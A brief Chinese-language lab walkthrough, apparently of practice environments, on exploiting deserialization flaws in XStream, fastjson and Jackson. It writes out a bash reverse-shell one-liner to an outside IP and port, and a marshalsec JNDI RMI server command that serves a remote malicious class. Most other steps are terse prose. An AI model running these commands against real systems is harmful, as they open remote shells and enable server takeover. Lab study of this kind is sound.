一、Xstream

启动环境并访问

接下来我们构造反弹shell语句，bash -i >& /dev/tcp/8.152.2.86/9999 0>&1，紧接着对其进行base64编码。

二、fastjson

首先启动环境并访问

我们写一个反弹shell的文件。

紧接着对其编译

紧接着开启监听python3 -m http.server 4444

紧接着查看网站目录即可看到该文件，紧接着我们将其绑定到我们的端口java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://8.152.2.86:4444/#TouchFile" 7788

紧接着发送payload即可

三、Jackson

首先启动环境并访问

进入到容器查看tmp目录下的文件

紧接着我们构造payload进行攻击

接下来我们进行攻击

返回查看即可

至此结束！